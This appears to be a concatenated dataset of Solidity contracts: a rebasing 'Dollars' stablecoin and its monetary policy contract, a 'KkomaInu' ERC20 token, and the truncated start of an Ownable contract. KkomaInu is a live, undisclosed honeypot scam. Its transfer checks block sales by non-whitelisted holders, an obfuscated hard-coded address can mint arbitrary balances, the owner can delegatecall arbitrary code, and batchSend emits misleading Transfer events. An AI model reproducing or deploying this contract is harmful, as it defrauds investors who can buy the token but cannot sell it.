require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity >=0.4.24 <0.6.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string name, string symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function initialize(address sender) public initializer {
_owner = sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
pragma solidity >=0.4.24;
interface IDollarPolicy {
function getUsdSharePrice() external view returns (uint256 price);
}
contract Dollars is ERC20Detailed, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogContraction(uint256 indexed epoch, uint256 dollarsToBurn);
event LogRebasePaused(bool paused);
event LogBurn(address indexed from, uint256 value);
event LogClaim(address indexed from, uint256 value);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
address public monetaryPolicy;
address public sharesAddress;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy);
_;
}
bool public rebasePaused;
modifier whenRebaseNotPaused() {
require(!rebasePaused);
_;
}
uint256 private _remainingDollarsToBeBurned;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 9;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_DOLLAR_SUPPLY = 1 * 10**6 * 10**DECIMALS;
uint256 private _maxDiscount;
modifier validDiscount(uint256 discount) {
require(discount <= _maxDiscount, 'DISCOUNT_TOO_HIGH');
_;
}
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private _totalSupply;
uint256 private constant POINT_MULTIPLIER = 10 ** 9;
uint256 private _totalDividendPoints;
uint256 private _unclaimedDividends;
ISeigniorageShares shares;
mapping(address => uint256) private _dollarBalances;
mapping (address => mapping (address => uint256)) private _allowedDollars;
IDollarPolicy dollarPolicy;
uint256 public burningDiscount;
uint256 public defaultDiscount;
uint256 public defaultDailyBonusDiscount;
uint256 public minimumBonusThreshold;
bool reEntrancyMutex;
bool reEntrancyRebaseMutex;
address public uniswapV2Pool;
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
dollarPolicy = IDollarPolicy(monetaryPolicy_);
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
function setUniswapV2SyncAddress(address uniswapV2Pair_)
external
onlyOwner
{
uniswapV2Pool = uniswapV2Pair_;
}
function test()
external
onlyOwner
{
uniswapV2Pool.call(abi.encodeWithSignature('sync()'));
}
function setBurningDiscount(uint256 discount)
external
onlyOwner
validDiscount(discount)
{
burningDiscount = discount;
}
function burn(uint256 amount)
external
updateAccount(msg.sender)
{
require(!reEntrancyMutex, "RE-ENTRANCY GUARD MUST BE FALSE");
reEntrancyMutex = true;
require(amount != 0, 'AMOUNT_MUST_BE_POSITIVE');
require(_remainingDollarsToBeBurned != 0, 'COIN_BURN_MUST_BE_GREATER_THAN_ZERO');
require(amount <= _dollarBalances[msg.sender], 'INSUFFICIENT_DOLLAR_BALANCE');
require(amount <= _remainingDollarsToBeBurned, 'AMOUNT_MUST_BE_LESS_THAN_OR_EQUAL_TO_REMAINING_COINS');
_burn(msg.sender, amount);
reEntrancyMutex = false;
}
function setDefaultDiscount(uint256 discount)
external
onlyOwner
validDiscount(discount)
{
defaultDiscount = discount;
}
function setMaxDiscount(uint256 discount)
external
onlyOwner
{
_maxDiscount = discount;
}
function setDefaultDailyBonusDiscount(uint256 discount)
external
onlyOwner
validDiscount(discount)
{
defaultDailyBonusDiscount = discount;
}
function setRebasePaused(bool paused)
external
onlyOwner
{
rebasePaused = paused;
emit LogRebasePaused(paused);
}
function claimDividends(address account) external updateAccount(account) returns (uint256) {
uint256 owing = dividendsOwing(account);
return owing;
}
function setMinimumBonusThreshold(uint256 minimum)
external
onlyOwner
{
require(minimum < _totalSupply, 'MINIMUM_TOO_HIGH');
minimumBonusThreshold = minimum;
}
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMonetaryPolicy
whenRebaseNotPaused
returns (uint256)
{
reEntrancyRebaseMutex = true;
uint256 burningDefaultDiscount = burningDiscount.add(defaultDailyBonusDiscount);
if (supplyDelta == 0) {
if (_remainingDollarsToBeBurned > minimumBonusThreshold) {
burningDiscount = burningDefaultDiscount > _maxDiscount ? _maxDiscount : burningDefaultDiscount;
} else {
burningDiscount = defaultDiscount;
}
emit LogRebase(epoch, _totalSupply);
} else if (supplyDelta < 0) {
uint256 dollarsToBurn = uint256(supplyDelta.abs());
uint256 tenPercent = _totalSupply.div(10);
if (dollarsToBurn > tenPercent) {
dollarsToBurn = tenPercent;
}
if (dollarsToBurn.add(_remainingDollarsToBeBurned) > _totalSupply) {
dollarsToBurn = _totalSupply.sub(_remainingDollarsToBeBurned);
}
if (_remainingDollarsToBeBurned > minimumBonusThreshold) {
burningDiscount = burningDefaultDiscount > _maxDiscount ?
_maxDiscount : burningDefaultDiscount;
} else {
burningDiscount = defaultDiscount;
}
_remainingDollarsToBeBurned = _remainingDollarsToBeBurned.add(dollarsToBurn);
emit LogContraction(epoch, dollarsToBurn);
} else {
disburse(uint256(supplyDelta));
uniswapV2Pool.call(abi.encodeWithSignature('sync()'));
emit LogRebase(epoch, _totalSupply);
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
}
reEntrancyRebaseMutex = false;
return _totalSupply;
}
function initialize(address owner_, address seigniorageAddress)
public
initializer
{
ERC20Detailed.initialize("Dollars", "USD", uint8(DECIMALS));
Ownable.initialize(owner_);
rebasePaused = false;
_totalSupply = INITIAL_DOLLAR_SUPPLY;
sharesAddress = seigniorageAddress;
shares = ISeigniorageShares(seigniorageAddress);
_dollarBalances[owner_] = _totalSupply;
_maxDiscount = 50 * 10 ** 9;
defaultDiscount = 1 * 10 ** 9;
burningDiscount = defaultDiscount;
defaultDailyBonusDiscount = 1 * 10 ** 9;
minimumBonusThreshold = 100 * 10 ** 9;
emit Transfer(address(0x0), owner_, _totalSupply);
}
function dividendsOwing(address account) public view returns (uint256) {
if (_totalDividendPoints > shares.lastDividendPoints(account)) {
uint256 newDividendPoints = _totalDividendPoints.sub(shares.lastDividendPoints(account));
uint256 sharesBalance = shares.externalRawBalanceOf(account);
return sharesBalance.mul(newDividendPoints).div(POINT_MULTIPLIER);
} else {
return 0;
}
}
modifier updateAccount(address account) {
uint256 owing = dividendsOwing(account);
if (owing != 0) {
_unclaimedDividends = _unclaimedDividends.sub(owing);
_dollarBalances[account] += owing;
}
shares.setDividendPoints(account, _totalDividendPoints);
emit LogClaim(account, owing);
_;
}
modifier uniqueAddresses(address addr1, address addr2) {
require(addr1 != addr2, "Addresses are not unique");
_;
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _dollarBalances[who].add(dividendsOwing(who));
}
function getRemainingDollarsToBeBurned()
public
view
returns (uint256)
{
return _remainingDollarsToBeBurned;
}
function transfer(address to, uint256 value)
public
uniqueAddresses(msg.sender, to)
validRecipient(to)
updateAccount(msg.sender)
updateAccount(to)
returns (bool)
{
require(!reEntrancyRebaseMutex, "RE-ENTRANCY GUARD MUST BE FALSE");
_dollarBalances[msg.sender] = _dollarBalances[msg.sender].sub(value);
_dollarBalances[to] = _dollarBalances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedDollars[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
updateAccount(from)
updateAccount(msg.sender)
updateAccount(to)
returns (bool)
{
require(msg.sender != from, "Addresses are not unique");
require(msg.sender != to, "Addresses are not unique");
require(!reEntrancyRebaseMutex, "RE-ENTRANCY GUARD MUST BE FALSE");
_allowedDollars[from][msg.sender] = _allowedDollars[from][msg.sender].sub(value);
_dollarBalances[from] = _dollarBalances[from].sub(value);
_dollarBalances[to] = _dollarBalances[to].add(value);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
uniqueAddresses(msg.sender, spender)
validRecipient(spender)
updateAccount(msg.sender)
updateAccount(spender)
returns (bool)
{
_allowedDollars[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
uniqueAddresses(msg.sender, spender)
updateAccount(msg.sender)
updateAccount(spender)
returns (bool)
{
_allowedDollars[msg.sender][spender] =
_allowedDollars[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedDollars[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
uniqueAddresses(msg.sender, spender)
updateAccount(spender)
updateAccount(msg.sender)
returns (bool)
{
uint256 oldValue = _allowedDollars[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedDollars[msg.sender][spender] = 0;
} else {
_allowedDollars[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedDollars[msg.sender][spender]);
return true;
}
function consultBurn(uint256 amount)
public
returns (uint256)
{
require(amount > 0, 'AMOUNT_MUST_BE_POSITIVE');
require(burningDiscount >= 0, 'DISCOUNT_NOT_VALID');
require(_remainingDollarsToBeBurned > 0, 'COIN_BURN_MUST_BE_GREATER_THAN_ZERO');
require(amount <= _dollarBalances[msg.sender].add(dividendsOwing(msg.sender)), 'INSUFFICIENT_DOLLAR_BALANCE');
require(amount <= _remainingDollarsToBeBurned, 'AMOUNT_MUST_BE_LESS_THAN_OR_EQUAL_TO_REMAINING_COINS');
uint256 usdPerShare = dollarPolicy.getUsdSharePrice();
uint256 decimals = 10 ** 9;
uint256 percentDenominator = 100;
usdPerShare = usdPerShare.sub(usdPerShare.mul(burningDiscount).div(percentDenominator * decimals));
uint256 sharesToMint = amount.mul(decimals).div(usdPerShare);
return sharesToMint;
}
function unclaimedDividends()
public
view
returns (uint256)
{
return _unclaimedDividends;
}
function totalDividendPoints()
public
view
returns (uint256)
{
return _totalDividendPoints;
}
function disburse(uint256 amount) internal returns (bool) {
_totalDividendPoints = _totalDividendPoints.add(amount.mul(POINT_MULTIPLIER).div(shares.externalTotalSupply()));
_totalSupply = _totalSupply.add(amount);
_unclaimedDividends = _unclaimedDividends.add(amount);
return true;
}
function _burn(address account, uint256 amount)
internal
{
_totalSupply = _totalSupply.sub(amount);
_dollarBalances[account] = _dollarBalances[account].sub(amount);
uint256 usdPerShare = dollarPolicy.getUsdSharePrice();
uint256 decimals = 10 ** 9;
uint256 percentDenominator = 100;
usdPerShare = usdPerShare.sub(usdPerShare.mul(burningDiscount).div(percentDenominator * decimals));
uint256 sharesToMint = amount.mul(decimals).div(usdPerShare);
_remainingDollarsToBeBurned = _remainingDollarsToBeBurned.sub(amount);
shares.mintShares(account, sharesToMint);
emit Transfer(account, address(0), amount);
emit LogBurn(account, amount);
}
}
pragma solidity >=0.4.24;
interface IDecentralizedOracle {
function update() external;
function consult(address token, uint amountIn) external view returns (uint amountOut);
}
contract DollarsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
Dollars public dollars;
IDecentralizedOracle public sharesPerUsdOracle;
IDecentralizedOracle public ethPerUsdOracle;
IDecentralizedOracle public ethPerUsdcOracle;
uint256 public deviationThreshold;
uint256 public rebaseLag;
uint256 private cpi;
uint256 public minRebaseTimeIntervalSec;
uint256 public lastRebaseTimestampSec;
uint256 public rebaseWindowOffsetSec;
uint256 public rebaseWindowLengthSec;
uint256 public epoch;
address WETH_ADDRESS;
address SHARE_ADDRESS;
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
address public orchestrator;
bool private initializedOracle;
modifier onlyOrchestrator() {
require(msg.sender == orchestrator);
_;
}
uint256 public minimumDollarCirculation;
function getUsdSharePrice() external view returns (uint256) {
sharesPerUsdOracle.update();
uint256 shareDecimals = 10 ** 9;
uint256 sharePrice = sharesPerUsdOracle.consult(SHARE_ADDRESS, 1 * shareDecimals);
return sharePrice;
}
function rebase() external onlyOrchestrator {
require(inRebaseWindow(), "OUTISDE_REBASE");
require(initializedOracle, 'ORACLE_NOT_INITIALIZED');
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now, "MIN_TIME_NOT_MET");
lastRebaseTimestampSec = now.sub(
now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
sharesPerUsdOracle.update();
ethPerUsdOracle.update();
ethPerUsdcOracle.update();
uint256 wethDecimals = 10 ** 18;
uint256 shareDecimals = 10 ** 9;
uint256 ethUsdcPrice = ethPerUsdcOracle.consult(WETH_ADDRESS, 1 * wethDecimals);
uint256 ethUsdPrice = ethPerUsdOracle.consult(WETH_ADDRESS, 1 * wethDecimals);
uint256 dollarCoinExchangeRate = ethUsdcPrice.mul(10 ** 21)
.div(ethUsdPrice);
uint256 sharePrice = sharesPerUsdOracle.consult(SHARE_ADDRESS, 1 * shareDecimals);
uint256 shareExchangeRate = sharePrice.mul(dollarCoinExchangeRate).div(shareDecimals);
uint256 targetRate = cpi;
if (dollarCoinExchangeRate > MAX_RATE) {
dollarCoinExchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(dollarCoinExchangeRate, targetRate);
uint256 algorithmicLag_ = getAlgorithmicRebaseLag(supplyDelta);
require(algorithmicLag_ != 0, "algorithmic rate must be positive");
rebaseLag = algorithmicLag_;
supplyDelta = supplyDelta.mul(10 ** 9).div(algorithmicLag_.toInt256Safe());
if (supplyDelta > 0 && dollars.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(dollars.totalSupply())).toInt256Safe();
}
if (supplyDelta < 0 && dollars.getRemainingDollarsToBeBurned().add(uint256(supplyDelta.abs())) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(dollars.getRemainingDollarsToBeBurned())).toInt256Safe();
}
if (supplyDelta < 0 && dollars.totalSupply().sub(dollars.getRemainingDollarsToBeBurned().add(uint256(supplyDelta.abs()))) < minimumDollarCirculation) {
supplyDelta = (dollars.totalSupply().sub(dollars.getRemainingDollarsToBeBurned()).sub(minimumDollarCirculation)).toInt256Safe();
}
uint256 supplyAfterRebase;
if (supplyDelta < 0) {
uint256 dollarsToBurn = uint256(supplyDelta.abs());
supplyAfterRebase = dollars.rebase(epoch, (dollarsToBurn).toInt256Safe().mul(-1));
} else {
supplyAfterRebase = dollars.rebase(epoch, supplyDelta);
}
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, dollarCoinExchangeRate, cpi, supplyDelta, now);
}
function setOrchestrator(address orchestrator_)
external
onlyOwner
{
orchestrator = orchestrator_;
}
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyOwner
{
deviationThreshold = deviationThreshold_;
}
function setCpi(uint256 cpi_)
external
onlyOwner
{
require(cpi_ != 0);
cpi = cpi_;
}
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ != 0);
rebaseLag = rebaseLag_;
}
function initializeOracles(
address sharesPerUsdOracleAddress,
address ethPerUsdOracleAddress,
address ethPerUsdcOracleAddress
) external onlyOwner {
require(!initializedOracle, 'ALREADY_INITIALIZED_ORACLE');
sharesPerUsdOracle = IDecentralizedOracle(sharesPerUsdOracleAddress);
ethPerUsdOracle = IDecentralizedOracle(ethPerUsdOracleAddress);
ethPerUsdcOracle = IDecentralizedOracle(ethPerUsdcOracleAddress);
initializedOracle = true;
}
function changeOracles(
address sharesPerUsdOracleAddress,
address ethPerUsdOracleAddress,
address ethPerUsdcOracleAddress
) external onlyOwner {
sharesPerUsdOracle = IDecentralizedOracle(sharesPerUsdOracleAddress);
ethPerUsdOracle = IDecentralizedOracle(ethPerUsdOracleAddress);
ethPerUsdcOracle = IDecentralizedOracle(ethPerUsdcOracleAddress);
}
function setWethAddress(address wethAddress)
external
onlyOwner
{
WETH_ADDRESS = wethAddress;
}
function setShareAddress(address shareAddress)
external
onlyOwner
{
SHARE_ADDRESS = shareAddress;
}
function setMinimumDollarCirculation(uint256 minimumDollarCirculation_)
external
onlyOwner
{
minimumDollarCirculation = minimumDollarCirculation_;
}
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyOwner
{
require(minRebaseTimeIntervalSec_ != 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
function initialize(address owner_, Dollars dollars_)
public
initializer
{
Ownable.initialize(owner_);
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 50 * 10 ** 9;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 63000;
rebaseWindowLengthSec = 15 minutes;
lastRebaseTimestampSec = 0;
cpi = 1 * 10 ** 18;
epoch = 0;
minimumDollarCirculation = 1000000 * 10 ** 9;
dollars = dollars_;
}
function getAlgorithmicRebaseLag(int256 supplyDelta) public view returns (uint256) {
if (dollars.totalSupply() >= 30000000 * 10 ** 9) {
return 30 * 10 ** 9;
} else {
if (supplyDelta < 0) {
uint256 dollarsToBurn = uint256(supplyDelta.abs());
return uint256(100 * 10 ** 9).sub((dollars.totalSupply().sub(1000000 * 10 ** 9)).div(500000));
} else {
return uint256(29).mul(dollars.totalSupply().sub(1000000 * 10 ** 9)).div(35000000).add(1 * 10 ** 9);
}
}
}
function inRebaseWindow() public view returns (bool) {
return (
now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec))
);
}
function computeSupplyDelta(uint256 rate, uint256 targetRate)
private
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
int256 targetRateSigned = targetRate.toInt256Safe();
return dollars.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
} | 0 | 2,221 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KkomaInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,379 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
